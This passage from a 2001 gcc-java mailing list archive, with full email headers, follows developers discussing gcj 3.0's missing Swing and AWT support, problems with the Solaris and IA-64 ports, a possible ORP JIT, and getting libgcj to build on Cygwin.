such a class from the appropriate .so. If the interpreter is enabled on your platform, then gcj will try to load the byte code using the class path. Gustavo> Can I use standard Swing packages in this way? If you could use Swing then that is the way that you could use it. However, you can't use Swing because our AWT implementation is not complete. Tom From java-return-6368-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 04 19:00:15 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 10092 invoked by alias); 4 Jul 2001 19:00:13 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 10070 invoked from network); 4 Jul 2001 19:00:13 -0000 Received: from unknown (HELO poboxer.pobox.com) (199.199.248.19) by sourceware.cygnus.com with SMTP; 4 Jul 2001 19:00:13 -0000 Received: from spanky.love.edu.love.edu (spanky.love.edu [172.30.0.35]) by poboxer.pobox.com (8.9.3/8.9.3) with ESMTP id NAA30253; Wed, 4 Jul 2001 13:58:38 -0500 From: Tony Kimball MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15171.26570.409684.423397@spanky.love.edu> Date: Wed, 4 Jul 2001 14:00:26 -0500 X-Face: \h9Jg:Cuivl4S*UP-)gO.6O=T]]@ncM*tn4zG);)lk#4|lqEx=*talx?.Gk,dMQU2)ptPC17cpBzm(l'M|H8BUF1&]dDCxZ.c~Wy6-j,^V1E(NtX$FpkkdnJixsJHE95JlhO 5\M3jh'YiO7KPCn0~W`Ro44_TB@&JuuqRqgPL'0/{):7rU-%.*@/>q?1&Ed Reply-To: alk@pobox.com To: tromey@redhat.com Cc: kpowell@enuvis.com, jules@acris.co.uk, java@gcc.gnu.org, alk@pobox.com Subject: Re: Compiling libgjc under cygwin References: <6A12161B7896234F83FC0A5A64AEECD709FDB7@TRINIDAD.enuvis.com> <87bsn04k6z.fsf@creche.redhat.com> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Quoth Tom Tromey on , 4 July: : : BTW, Tony, what is your status? As I recall you also had relevant : Windows patches. No paper. If you could email me forms to fax or snail (preferrably with a recommended destination for those forms which is likely to be more responsive than prior contacts) I'll send them off ASAP. To cover all bases, I should file another (up-to-date) employer disclaimer form as well. I'd have to do the work of categorizing all of my diffs before I could say what I've got to contribute at this point. From java-return-6369-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 04 21:47:31 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 25982 invoked by alias); 4 Jul 2001 21:47:30 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 25891 invoked from network); 4 Jul 2001 21:47:27 -0000 Received: from unknown (HELO vexpert.dbai.tuwien.ac.at) (128.130.111.12) by sourceware.cygnus.com with SMTP; 4 Jul 2001 21:47:27 -0000 Received: from deneb (deneb [128.130.111.2]) by vexpert.dbai.tuwien.ac.at (8.11.1/8.11.1) with ESMTP id f64LlIg27578; Wed, 4 Jul 2001 23:47:19 +0200 (MET DST) Date: Wed, 4 Jul 2001 23:47:17 +0200 (CEST) From: Gerald Pfeifer To: Tom Tromey cc: Java Discuss List , GCC Hackers Subject: Re: gcj 3.0 post-mortem In-Reply-To: <87ith8d06l.fsf@creche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 4 Jul 2001, Tom Tromey wrote: > For 3.0.1: > > - Ideally we would get the Solaris port working. It is unclear if > Andrew has the time to do that though. I believe this should be a high priority PR in our GNATS database. Not supporting Solaris, the primary platform for Java, is bound to cause bad PR (no pun intended) I'm afraid. Gerald -- Gerald "Jerry" pfeifer@dbai.tuwien.ac.at http://www.dbai.tuwien.ac.at/~pfeifer/ From java-return-6370-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 04 22:05:04 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 5644 invoked by alias); 4 Jul 2001 22:05:03 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 5605 invoked from network); 4 Jul 2001 22:05:02 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 4 Jul 2001 22:05:02 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f64M6rK26958; Wed, 4 Jul 2001 15:06:53 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: Gerald Pfeifer Cc: Java Discuss List , GCC Hackers Subject: Re: gcj 3.0 post-mortem References: From: Per Bothner Date: 04 Jul 2001 15:06:53 -0700 In-Reply-To: Message-ID: Lines: 15 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Gerald Pfeifer writes: > Not supporting Solaris, the primary platform for Java, is bound to > cause bad PR (no pun intended) I'm afraid. I don't see where this is coming from. You seem to be making the inference: Java comes from Sun; the primary platform for Sun is Solaris; hence the primary platform for Java is Solaris. This is obviously a fallacy. If there is a primary platform for Java, it is MS-Windows. If there is a primary platform for GNU software, it is GNU/Linux. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6371-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 04 23:37:59 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14069 invoked by alias); 4 Jul 2001 23:37:59 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 14017 invoked from network); 4 Jul 2001 23:37:53 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 4 Jul 2001 23:37:53 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15HwCr-0004IH-00; Thu, 05 Jul 2001 00:37:17 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Thu, 05 Jul 2001 00:39:02 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Thu, 05 Jul 2001 00:33:53 +0100 From: "Nic Ferrier" To: per@bothner.com, pfeifer@dbai.tuwien.ac.at Cc: gcc@gcc.gnu.org, java@gcc.gnu.org Subject: Re: gcj 3.0 post-mortem Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> Per Bothner 04-Jul-01 11:06:53 PM >>> I don't see where this is coming from. You seem to be making the inference: Java comes from Sun; the primary platform for Sun is Solaris; hence the primary platform for Java is Solaris. If there is a primary platform for Java, it is MS-Windows. If there is a primary platform for GNU software, it is GNU/Linux. I agree with this. Sun do so little for the free-software community, I don't think you guys (and us freebies in general) need to cut them much slack. A few thoughts of my own, sorry if they're more general than just GCC3.0 issues: GCC is a fantastic step forward for free-java. Freebies now have a platform that can really compete with HotSpot and other similar VMs. Whilst solaris is an important platform for the free community it's more important (IMHO) that we have rock solid java on GNU/Linux. Rather than a Solaris port here's my (GNU/Linux) wish list: - real methods names in gij stack traces - facilities to support something similar to sun's extensions - better threading (new pth m:n from IBM? - awt: people will laugh till we have at least awt I realise that some of these things are difficult because you're working within the special constraints of the GCC model. BTW on the last point: it's a real pain but there's quite a bit of middle-ware and application code that has dependancies on AWT stuff, eg: - java beans activation framework (JAF) - bean-shell - etc... It's bad design of course, but not having AWT is the real biggie. Nic Ferrier From java-return-6372-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 05 05:39:44 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4778 invoked by alias); 5 Jul 2001 05:39:43 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4680 invoked from network); 5 Jul 2001 05:39:26 -0000 Received: from unknown (HELO hindon.hss.co.in) (202.54.26.202) by sourceware.cygnus.com with SMTP; 5 Jul 2001 05:39:26 -0000 Received: from sandesh.hss.hns.com (localhost [127.0.0.1]) by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f655eQT24749; Thu, 5 Jul 2001 11:10:27 +0530 (IST) Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 65256A80.001F59EA ; Thu, 5 Jul 2001 11:12:26 +0530 X-Lotus-FromDomain: HSS From: vbabaladi@hss.hns.com To: java-discuss@sourceware.cygnus.com cc: sourcemaster@cygnus.com Message-ID: <65256A80.001F5926.00@sandesh.hss.hns.com> Date: Thu, 5 Jul 2001 11:12:40 +0530 Subject: gcj swing support problem Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Hi I have cofigured and installed the gcc-3.0 I want to know wheter gcj will support swing and jni because when i try to compile my java swing program its throwing the following error gcj -xjava --main=sort sort.java -o sort sort.java:1: Can't find default package `javax.swing'. Check the CLASSPATH environment variable and the access to the archives. sort.java:4: Package `javax.swing.event' not found in import. import javax.swing.event.*; ^ sort.java:2: Class or interface `javax.swing.JButton' not found in import. import javax.swing.JButton; ^ sort.java:8: Superclass `JFrame' of class `sort' not found. public class sort extends JFrame ^ sort.java:13: Type `DefaultListModel' not found in the declaration of the local variable `listmodel'. final DefaultListModel listmodel = new DefaultListModel(); ^ sort.java:19: Type `JList' not found in the declaration of the local variable `list'. final JList list = new JList(listmodel); ^ sort.java:21: Type `JButton' not found in the declaration of the local variable `sortButton'. JButton sortButton = new JButton("sort"); ^ sort.java:36: Type `JList' not found in the declaration of the argument `list' of method `sortList'. public void sortList(JList list) ^ sort.java:38: Type `ListModel' not found in the declaration of the local variable `model'. ListModel model = list.getModel(); ^ 9 errors bye Vithal From java-return-6373-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 05 06:04:14 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14871 invoked by alias); 5 Jul 2001 06:04:14 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 14848 invoked from network); 5 Jul 2001 06:04:12 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 5 Jul 2001 06:04:12 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f65667t27466; Wed, 4 Jul 2001 23:06:07 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: "Nic Ferrier" Cc: java@gcc.gnu.org Subject: Re: gcj 3.0 post-mortem References: From: Per Bothner Date: 04 Jul 2001 23:06:07 -0700 In-Reply-To: Message-ID: Lines: 20 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii "Nic Ferrier" writes: > Rather than a Solaris port here's my (GNU/Linux) wish list: > > - real methods names in gij stack traces It might be nice to offer a JIT as an option for GCJ, and specifically I've thinking it might be a good idea to support Intel's Open Runtime Platform (http://intel.com/research/mrl/orp/). Yes, ORP only supports Intel platforms, but if it is a good JIT (as my impression is) and the license is acceptable (as it seems to be), it should be possible to add support for other architectures. In addition to the obvious performance advantage of a JIT, there is also a debugging advantage, as all call frames (JIT-compiled and GCJ-compiled) would have the same layout. It should also be easier to have gdb work with JIT-compiled rather than interpreted code. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6374-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 05 06:18:22 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20959 invoked by alias); 5 Jul 2001 06:18:21 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20895 invoked from network); 5 Jul 2001 06:18:17 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 5 Jul 2001 06:18:17 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id AAA19249; Thu, 5 Jul 2001 00:18:14 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id AAA19593; Thu, 5 Jul 2001 00:39:23 -0600 To: vbabaladi@hss.hns.com Cc: java-discuss@sourceware.cygnus.com Subject: Re: gcj swing support problem References: <65256A80.001F5926.00@sandesh.hss.hns.com> X-Zippy: I am a jelly donut. I am a jelly donut. X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 05 Jul 2001 00:39:22 -0600 In-Reply-To: vbabaladi@hss.hns.com's message of "Thu, 5 Jul 2001 11:12:40 +0530" Message-ID: <87sngbyj51.fsf@creche.redhat.com> Lines: 12 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> ">" == vbabaladi writes: Please don't CC `sourcemaster'. That gets the people who run the machine, not the people who work on the sources. >> I have cofigured and installed the gcc-3.0 >> I want to know wheter gcj will support swing and jni JNI yes. Swing no. We have neither Swing nor AWT at present. Tom From java-return-6375-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 05 18:20:47 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 11863 invoked by alias); 5 Jul 2001 18:20:46 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 11788 invoked from network); 5 Jul 2001 18:20:40 -0000 Received: from unknown (HELO deimos.hpl.hp.com) (192.6.19.190) by sourceware.cygnus.com with SMTP; 5 Jul 2001 18:20:40 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by deimos.hpl.hp.com (8.9.3 (PHNE_18546)/HPL-PA Relay) with ESMTP id LAA17066; Thu, 5 Jul 2001 11:20:22 -0700 (PDT) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id f65IKcu23229; Thu, 5 Jul 2001 11:20:38 -0700 (PDT) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Thu, 05 Jul 2001 11:20:38 -0700 (Pacific Daylight Time) Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2650.21) id ; Thu, 5 Jul 2001 11:20:37 -0700 Message-ID: <140D21516EC2D3119EE7009027876644049B5EF7@hplex1.hpl.hp.com> From: "Boehm, Hans" To: "'tromey@redhat.com'" , Java Discuss List Cc: GCC Hackers Subject: Itanium (was gcj 3.0 post-mortem) Date: Thu, 5 Jul 2001 11:20:37 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" > From: Tom Tromey [mailto:tromey@redhat.com] > I believe in the end the IA-64 Linux and Solaris > ports did not work. This happened because the new EH code required > more work than we had anticipated, and our lone Java EH expert, Andrew > Haley, was scheduled to work on other projects during the window we > needed his expertise. > To correct some previous misstatements on my part: I would rate gcj3.0 on Linux/IA64 as only semi-broken. It seems to be usable for some small things. Things that don't work for me: 1) Catching NullPointerExceptions. Andrew pointed out that some other exception-related things do work with a sufficiently recent linker, which I didn't have initially. 2) -g1, or any set of options that defaults to -g1, e.g. no compile options. 3) I still have some problems with compiling multiple .class files, though I doubt those are IA64-related. I think we have agreement that the first two are really broken in 3.0. On the positive side, I can build the command-line version of my constructive reals calculator from source on Itanium with gcj 3.0, and it seems to run correctly. Hans From java-return-6376-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 05 20:16:42 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 10670 invoked by alias); 5 Jul 2001 20:16:40 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 10584 invoked from network); 5 Jul 2001 20:16:38 -0000 Received: from unknown (HELO btclick.com) (62.172.195.247) by sourceware.cygnus.com with SMTP; 5 Jul 2001 20:16:38 -0000 Received: from vengeance.int.acris.co.uk ([213.123.193.109]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GG0OBO00.KB4; Thu, 5 Jul 2001 21:16:36 +0100 Received: from acris.co.uk (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with ESMTP id WAA20552; Thu, 5 Jul 2001 22:02:55 +0100 Message-ID: <3B44CCB0.249673CB@acris.co.uk> Date: Thu, 05 Jul 2001 21:23:12 +0100 From: Julian Hall X-Mailer: Mozilla 4.7 [en-gb] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: cygwin@cygwin.com, java@gcc.gnu.org Subject: Progress update with gcj on cygwin Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit OK, just to let those of you who have been helping out/keeping track/etc know, I've managed to get a version of gcj + libgcj compiled under cygwin, but unfortunately the library crashes during initialisation. I have now tracked the problem down to occurring during the stack unwinding process, which unfortunately I understand very little about. The process is initiated by Integer.parseInt() throwing a NumberFormatException during the initialisation of timezones (it is optimistically attempting to parse an int after the letters 'GMT' in the timezone 'GMT'...), and results in the abort() function at line 981 of gcc/unwind-dw2.c being called. If anyone wants to try to figure out what's going on I'll be more than happy to help out, but for the time being this is a dead end to me. Tomorrow, I'm going to try again with SjLj exceptions. I'll keep everyone posted of any success/failure I might have. Jules From java-return-6377-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 04:13:31 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 8478 invoked by alias); 6 Jul 2001 04:13:29 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 8413 invoked from network); 6 Jul 2001 04:13:21 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 6 Jul 2001 04:13:21 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id WAA32717; Thu, 5 Jul 2001 22:12:39 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id WAA18003; Thu, 5 Jul 2001 22:34:02 -0600 To: Per Bothner Cc: "Nic Ferrier" , java@gcc.gnu.org Subject: Re: gcj 3.0 post-mortem References: X-Zippy: Thank god!!.. It's HENNY YOUNGMAN!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 05 Jul 2001 22:34:00 -0600 In-Reply-To: Per Bothner's message of "04 Jul 2001 23:06:07 -0700" Message-ID: <87hewqsmkn.fsf@creche.redhat.com> Lines: 23 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Per" == Per Bothner writes: Per> In addition to the obvious performance advantage of a JIT, there Per> is also a debugging advantage, as all call frames (JIT-compiled Per> and GCJ-compiled) would have the same layout. It should also be Per> easier to have gdb work with JIT-compiled rather than interpreted Per> code. I think using ORP is a great idea. I've been wanting to do it for a while, but I haven't found the time. There are some infrastructural improvements we must make before trying this, but they are easy (right now we have some hacks to let the interpreter store more information for each method. ORP support would mean generalizing this -- which would also be nicer from a cleanliness standpoint). One question I have is whether the ORP EH code would integrate well with our EH scheme. My recollection is that they implemented their own EH. As I recall this might be the only real stumbling block; by and large their JIT is built to ask the VM for information about class layout, GC approach, etc. (I also don't know if the current EH scheme can handle a JIT. Can we add to the tables dynamically?) Tom From java-return-6378-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 04:26:52 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14227 invoked by alias); 6 Jul 2001 04:26:46 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 14132 invoked from network); 6 Jul 2001 04:26:41 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 6 Jul 2001 04:26:41 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id WAA01550; Thu, 5 Jul 2001 22:26:30 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id WAA18087; Thu, 5 Jul 2001 22:47:52 -0600 To: "Nic Ferrier" Cc: per@bothner.com, pfeifer@dbai.tuwien.ac.at, gcc@gcc.gnu.org, java@gcc.gnu.org Subject: Re: gcj 3.0 post-mortem References: X-Zippy: Finally, Zippy drives his 1958 RAMBLER METROPOLITAN into the faculty dining room. X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 05 Jul 2001 22:47:50 -0600 In-Reply-To: "Nic Ferrier"'s message of "Thu, 05 Jul 2001 00:33:53 +0100" Message-ID: <87elruslxl.fsf@creche.redhat.com> Lines: 40 X-Mailer: Gnus v5.7/Emacs 20.5 Nic> - real methods names in gij stack traces I think we've talked about something like this in terms of writing the SecurityManager code. Somehow it has to be possible to extract different pieces of information from any stack frame, whether interpreted or compiled. I don't think anybody has a concrete implementation plan though. I also don't think this would make my top 4 priority list (SecurityManager might, but not stack trace info -- in theory you could use gdb for debugging). Nic> - facilities to support something similar to sun's extensions I don't understand. Nic> - better threading (new pth m:n from IBM? We really just rely on the OS. However, I'd definitely accept a port to the IBM pth code if someone wanted to write it. I couldn't guess how hard it would be. Maybe just configury in boehm-gc and libjava, or maybe really hard. In terms of personal priorities, this isn't on my list. I'm curious to know why you want it. Nic> - awt: people will laugh till we have at least awt Nic> [ ... ] Nic> It's bad design of course, but not having AWT is the real biggie. I agree this is important. In fact I think AWT is the most important missing package. But you know how it goes: libgcj is a volunteer project. Well, mostly. Some of us are paid to work on it -- but our direction is driven by customers, and so far nobody has opted to pay anyone to write AWT for libgcj. So it remains partially implemented, basically what a few of us have written in our spare time. RMI might also be important. We can merge that from kaffe into Classpath and libgcj any time, though, as I understand it. It will probably happen first, simply because it is less work. Tom From java-return-6379-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 16:38:16 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12649 invoked by alias); 6 Jul 2001 16:38:16 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12566 invoked from network); 6 Jul 2001 16:38:15 -0000 Received: from unknown (HELO btclick.com) (62.172.195.247) by sourceware.cygnus.com with SMTP; 6 Jul 2001 16:38:15 -0000 Received: from vengeance.int.acris.co.uk ([213.123.193.109]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GG28VH05.L0V; Fri, 6 Jul 2001 17:38:05 +0100 Received: from acris.co.uk (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with ESMTP id SAA28744; Fri, 6 Jul 2001 18:24:21 +0100 Message-ID: <3B45EAF1.F555A5B@acris.co.uk> Date: Fri, 06 Jul 2001 17:44:33 +0100 From: Julian Hall X-Mailer: Mozilla 4.7 [en-gb] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: java@gcc.gnu.org, cygwin@cygwin.com Subject: Java on cygwin success Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi all! Further to yesterdays message I have to now report that I have successfully built a working libjava on my system here using SjLj exceptions. I have successfully run a short 'hello world' test, and am currently looking at more advanced tests. More soon! Jules From java-return-6380-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 16:42:03 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14701 invoked by alias); 6 Jul 2001 16:42:02 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 14592 invoked from network); 6 Jul 2001 16:41:54 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 6 Jul 2001 16:41:54 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 9DD97ABAF8; Fri, 6 Jul 2001 17:41:53 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f66GfnT30330; Fri, 6 Jul 2001 17:41:49 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15173.59980.966943.29231@cuddles.cambridge.redhat.com> Date: Fri, 6 Jul 2001 17:41:48 +0100 (BST) To: Julian Hall Cc: java@gcc.gnu.org, cygwin@cygwin.com Subject: Java on cygwin success In-Reply-To: <3B45EAF1.F555A5B@acris.co.uk> References: <3B45EAF1.F555A5B@acris.co.uk> X-Mailer: VM 6.75 under Emacs 20.7.1 You're a star! Re further tests, I'm particularly interested in how well Invoke_1 and Divide_1 in testsuite/libjava.lang work. This requires getting the exception handling mechanism to work, and might be quite tricky. Cheers, Andrew. From java-return-6381-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 17:10:08 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 26173 invoked by alias); 6 Jul 2001 17:10:08 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 26138 invoked from network); 6 Jul 2001 17:10:05 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 6 Jul 2001 17:10:05 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA09811; Fri, 6 Jul 2001 11:10:00 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id LAA19387; Fri, 6 Jul 2001 11:31:32 -0600 To: Julian Hall Cc: cygwin@cygwin.com, java@gcc.gnu.org Subject: Re: Progress update with gcj on cygwin References: <3B44CCB0.249673CB@acris.co.uk> X-Zippy: OMNIVERSAL AWARENESS?? Oh, YEH!! First you need 4 GALLONS of JELL-O and a BIG WRENCH!!... I think you drop th'WRENCH in the JELL-O as if it was a FLAVOR, or an INGREDIENT... ...or...I...um... WHERE'S the WASHING MACHINES? X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 06 Jul 2001 11:31:29 -0600 In-Reply-To: Julian Hall's message of "Thu, 05 Jul 2001 21:23:12 +0100" Message-ID: <87k81m9d72.fsf@creche.redhat.com> Lines: 15 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Julian" == Julian Hall writes: Julian> I have now tracked the problem down to occurring during the Julian> stack unwinding process, which unfortunately I understand very Julian> little about. I thought that the new unwind code was known not to work on Cygwin. Am I wrong? Julian> Tomorrow, I'm going to try again with SjLj exceptions. I'll keep Julian> everyone posted of any success/failure I might have. Thanks, please do. Tom From java-return-6382-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 17:19:56 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 31575 invoked by alias); 6 Jul 2001 17:19:56 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 31475 invoked from network); 6 Jul 2001 17:19:53 -0000 Received: from unknown (HELO hp2.xraylith.wisc.edu) (128.104.182.236) by sourceware.cygnus.com with SMTP; 6 Jul 2001 17:19:53 -0000 Received: from localhost (khan@localhost) by hp2.xraylith.wisc.edu (8.9.3/8.9.3) with SMTP id MAA26141; Fri, 6 Jul 2001 12:19:40 -0500 (CDT) X-Authentication-Warning: hp2.xraylith.wisc.edu: khan owned process doing -bs Date: Fri, 6 Jul 2001 12:19:39 -0500 (CDT) From: Mumit Khan To: Tom Tromey cc: Julian Hall , cygwin@cygwin.com, java@gcc.gnu.org Subject: Re: Progress 